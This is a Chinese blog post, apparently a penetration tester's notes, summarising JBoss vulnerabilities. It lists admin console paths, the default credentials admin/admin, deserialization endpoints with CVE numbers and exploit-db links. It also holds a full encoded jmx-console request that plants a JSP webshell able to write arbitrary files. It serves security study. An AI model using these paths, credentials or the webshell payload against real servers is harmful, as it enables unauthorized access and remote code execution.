版权声明：看不尽的尘埃版权所有，转载请注明出处 https://blog.csdn.net/weixin_42936566/article/details/86841666
目录
前言
昨天搞了Vulhub靶场里的jboss三个反序列化漏洞，今天总结一下jboss漏洞。该总结来源于Vulhub靶场、wooyun90余个漏洞和exploit-db。
获取服务器所采用的中间件信息
HTTP 中的 X-Powered-By
JBOSS默认配置后台漏洞
漏洞发生在jboss.deployment命名空间中的addURL()函数,该函数可以远程下载一个war压缩包并解压。
/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
弱口令/未授权访问
admin/admin
/admin-console/login.seam /admin-console/ /jmx-console/ /web-console/ /jmx-console/HtmlAdaptor?action=displayMBeans /web-console/ServerInfo.jsp
Jboss蠕虫
/zecmd/zecmd.jsp
JMX控制台安全验证绕过漏洞（CVE-2010-0738）
通过HEAD方法绕过验证部署webshell
https://github.com/ChristianPapathanasiou/jboss-autopwn
反序列化漏洞
/invoker/JMXInvokerServlet /invoker/EJBInvokerServlet /invoker/readonly //CVE-2017-12149 /jbossmq-httpil/HTTPServerILServlet //CVE-2017-7504
命令执行
/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
拒绝服务
CVE-2018-1041
https://www.exploit-db.com/exploits/44099
其他漏洞
访问https://www.exploit-db.com/search?q=JBoss
总结
可以制作一个网站目录字典，发现中间件是Jboss，用字典探测，效率会比较高。